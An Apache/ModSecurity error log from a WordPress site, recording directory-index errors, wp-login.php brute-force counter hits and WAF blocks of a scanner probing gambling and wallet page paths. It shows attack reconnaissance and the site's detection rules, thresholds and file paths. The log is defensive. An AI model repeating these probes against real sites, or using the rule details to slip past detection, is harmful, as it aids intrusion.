[Sun Apr 12 23:11:43.836959 2026] [autoindex:error] [pid 25437:tid 25461] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:46.900480 2026] [autoindex:error] [pid 25437:tid 25453] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:51.605940 2026] [autoindex:error] [pid 25437:tid 25461] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:11:57.834390 2026] [autoindex:error] [pid 25437:tid 25448] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:12:05.600319 2026] [autoindex:error] [pid 25437:tid 25454] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:12:09.879706 2026] [autoindex:error] [pid 25437:tid 25445] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:12:10.075384 2026] [autoindex:error] [pid 25437:tid 25439] [client 173.239.218.37:53863] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:55:29.131061 2026] [:error] [pid 25328:tid 25370] [client 165.22.95.96:56436] [client 165.22.95.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.95.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "advAccxUaQZxT-e0YsCMNAAAAEY"]
[Sun Apr 12 23:55:31.118397 2026] [:error] [pid 25328:tid 25391] [client 165.22.95.96:56436] [client 165.22.95.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.95.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "advAc8xUaQZxT-e0YsCMOAAAAFE"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 13 00:04:11.062066 2026] [:error] [pid 60280:tid 60300] [client 170.106.11.141:60472] [client 170.106.11.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "advCe3BlLnDOYuIykkgufgAAAdI"]
[Mon Apr 13 00:23:59.329121 2026] [:error] [pid 26567:tid 26584] [client 54.36.60.45:46012] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "advHH3hRpg6ptWFyFx3n8QAAAQ8"]
[Mon Apr 13 00:24:01.315029 2026] [:error] [pid 26567:tid 26583] [client 54.36.60.45:33940] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "advHIXhRpg6ptWFyFx3n-QAAAQ4"]
[Mon Apr 13 00:24:03.346388 2026] [:error] [pid 60280:tid 60286] [client 54.36.60.45:33950] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "advHI3BlLnDOYuIykkg7-QAAAcQ"]
[Mon Apr 13 00:24:07.027752 2026] [:error] [pid 25328:tid 25389] [client 54.36.60.45:48398] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "advHJ8xUaQZxT-e0YsCUdgAAAFA"]
[Mon Apr 13 00:24:09.129135 2026] [:error] [pid 25329:tid 25384] [client 54.36.60.45:48402] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "advHKWdcIYsS8Iyaj134fAAAAIU"]
[Mon Apr 13 00:24:11.907857 2026] [:error] [pid 26599:tid 26605] [client 54.36.60.45:48412] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "advHK3G89LXoQbk_rwD8zwAAAUM"]
[Mon Apr 13 00:24:13.980107 2026] [:error] [pid 25327:tid 25349] [client 54.36.60.45:51606] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "advHLS6h2tZEVJo9JFI2fAAAAA0"]
[Mon Apr 13 00:24:15.847762 2026] [:error] [pid 25327:tid 25359] [client 54.36.60.45:51610] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "advHLy6h2tZEVJo9JFI2hAAAABc"]
[Mon Apr 13 00:24:17.890345 2026] [:error] [pid 25327:tid 25342] [client 54.36.60.45:51614] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "advHMS6h2tZEVJo9JFI2jAAAAAY"]
[Mon Apr 13 00:24:19.904258 2026] [:error] [pid 25327:tid 25336] [client 54.36.60.45:51624] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "advHMy6h2tZEVJo9JFI2mAAAAAA"]
[Mon Apr 13 00:24:22.772366 2026] [:error] [pid 26599:tid 26613] [client 54.36.60.45:51634] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "advHNnG89LXoQbk_rwD84wAAAUs"]
[Mon Apr 13 00:24:24.708604 2026] [:error] [pid 25328:tid 25398] [client 54.36.60.45:57108] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "advHOMxUaQZxT-e0YsCUgAAAAFQ"]
[Mon Apr 13 00:24:27.738053 2026] [:error] [pid 26599:tid 26616] [client 54.36.60.45:57116] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "advHO3G89LXoQbk_rwD86AAAAU4"]
[Mon Apr 13 00:24:29.654009 2026] [:error] [pid 26600:tid 26639] [client 54.36.60.45:57124] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "advHPe1YwAZiXhQKLYp-mQAAAYo"]
[Mon Apr 13 00:24:31.669267 2026] [:error] [pid 25329:tid 25409] [client 54.36.60.45:57134] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "advHP2dcIYsS8Iyaj134pQAAAJM"]
[Mon Apr 13 00:24:33.695013 2026] [:error] [pid 25329:tid 25409] [client 54.36.60.45:57150] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "advHQWdcIYsS8Iyaj134sgAAAJM"]
[Mon Apr 13 00:24:35.707365 2026] [:error] [pid 25327:tid 25357] [client 54.36.60.45:36418] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "advHQy6h2tZEVJo9JFI2vwAAABU"]
[Mon Apr 13 00:24:37.710362 2026] [:error] [pid 26567:tid 26576] [client 54.36.60.45:36428] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "advHRXhRpg6ptWFyFx3oCgAAAQc"]
[Mon Apr 13 00:24:39.597236 2026] [:error] [pid 25329:tid 25376] [client 54.36.60.45:36444] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "advHR2dcIYsS8Iyaj134xAAAAIE"]
[Mon Apr 13 00:24:41.610623 2026] [:error] [pid 25327:tid 25336] [client 54.36.60.45:36452] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "advHSS6h2tZEVJo9JFI2yAAAAAA"]
[Mon Apr 13 00:24:43.632197 2026] [:error] [pid 25329:tid 25386] [client 54.36.60.45:36468] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "advHS2dcIYsS8Iyaj1342AAAAIY"]
[Mon Apr 13 00:24:45.644297 2026] [:error] [pid 60280:tid 60305] [client 54.36.60.45:53144] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "advHTXBlLnDOYuIykkg8JgAAAdc"]
[Mon Apr 13 00:24:47.505504 2026] [:error] [pid 26567:tid 26579] [client 54.36.60.45:53154] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "advHT3hRpg6ptWFyFx3oFQAAAQo"]
[Mon Apr 13 00:24:49.530406 2026] [:error] [pid 25327:tid 25346] [client 54.36.60.45:53166] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "advHUS6h2tZEVJo9JFI2zQAAAAo"]
[Mon Apr 13 00:24:51.554151 2026] [:error] [pid 25327:tid 25346] [client 54.36.60.45:53182] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "advHUy6h2tZEVJo9JFI23QAAAAo"]
[Mon Apr 13 00:24:53.567879 2026] [:error] [pid 25327:tid 25349] [client 54.36.60.45:53194] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "advHVS6h2tZEVJo9JFI26wAAAA0"]
[Mon Apr 13 00:25:29.422172 2026] [:error] [pid 25329:tid 25414] [client 54.36.60.45:54174] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "advHeWdcIYsS8Iyaj135NgAAAJc"]
[Mon Apr 13 00:25:31.359488 2026] [:error] [pid 25327:tid 25351] [client 54.36.60.45:49648] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "advHey6h2tZEVJo9JFI3PQAAAA8"]
[Mon Apr 13 00:25:33.372321 2026] [:error] [pid 26567:tid 26576] [client 54.36.60.45:49652] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "advHfXhRpg6ptWFyFx3oOAAAAQc"]
[Mon Apr 13 00:25:35.377072 2026] [:error] [pid 25329:tid 25376] [client 54.36.60.45:38206] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "advHf2dcIYsS8Iyaj135RQAAAIE"]
[Mon Apr 13 00:25:37.368896 2026] [:error] [pid 60280:tid 60306] [client 54.36.60.45:38222] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "advHgXBlLnDOYuIykkg8uAAAAdg"]
[Mon Apr 13 00:25:39.375367 2026] [:error] [pid 60280:tid 60298] [client 54.36.60.45:38228] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "advHg3BlLnDOYuIykkg8wgAAAdA"]
[Mon Apr 13 00:25:41.377719 2026] [:error] [pid 25327:tid 25337] [client 54.36.60.45:38234] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "advHhS6h2tZEVJo9JFI3XQAAAAE"]
[Mon Apr 13 00:25:43.366685 2026] [:error] [pid 25327:tid 25352] [client 54.36.60.45:38248] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "advHhy6h2tZEVJo9JFI3aQAAABA"]
[Mon Apr 13 00:25:45.356728 2026] [:error] [pid 60280:tid 60304] [client 54.36.60.45:40082] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "advHiXBlLnDOYuIykkg80AAAAdY"]
[Mon Apr 13 00:25:47.350255 2026] [:error] [pid 60280:tid 60288] [client 54.36.60.45:40090] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "advHi3BlLnDOYuIykkg82gAAAcY"]
[Mon Apr 13 00:25:49.346545 2026] [:error] [pid 26600:tid 26629] [client 54.36.60.45:40106] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "advHje1YwAZiXhQKLYp-7wAAAYA"]
[Mon Apr 13 01:09:04.318520 2026] [:error] [pid 31605:tid 31658] [client 178.33.251.48:33078] [client 178.33.251.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.251.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "advRsG9Py-Y-9VQ02eGySQAAAA8"]
[Mon Apr 13 01:09:07.733436 2026] [:error] [pid 31605:tid 31663] [client 178.33.251.48:33078] [client 178.33.251.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.251.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "advRs29Py-Y-9VQ02eGySgAAABQ"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 13 02:19:11.227105 2026] [:error] [pid 31606:tid 31716] [client 109.123.255.195:39320] [client 109.123.255.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.123.255.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adviHz9vCsshNhLmCiCBGgAAAEo"]
[Mon Apr 13 02:19:12.931702 2026] [:error] [pid 31606:tid 31708] [client 109.123.255.195:39320] [client 109.123.255.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.123.255.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adviID9vCsshNhLmCiCBHAAAAEI"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 13 02:53:13.892498 2026] [:error] [pid 32010:tid 32012] [client 111.172.249.49:33608] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "advqGQ0nq-t9pXyV1fy2HQAAAMA"]
[Mon Apr 13 03:20:32.915425 2026] [:error] [pid 31607:tid 31753] [client 216.73.216.11:64247] [client 216.73.216.11] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "advwgGjn_I-KYTWngjJQmAAAAJA"]
[Mon Apr 13 03:34:47.935437 2026] [:error] [pid 30430:tid 30455] [client 51.83.7.81:51902] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "advz17n0S0M-vj_lJadFhAAAAAg"]
[Mon Apr 13 03:34:49.874129 2026] [:error] [pid 30430:tid 30461] [client 51.83.7.81:41290] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "advz2bn0S0M-vj_lJadFhwAAAA4"]
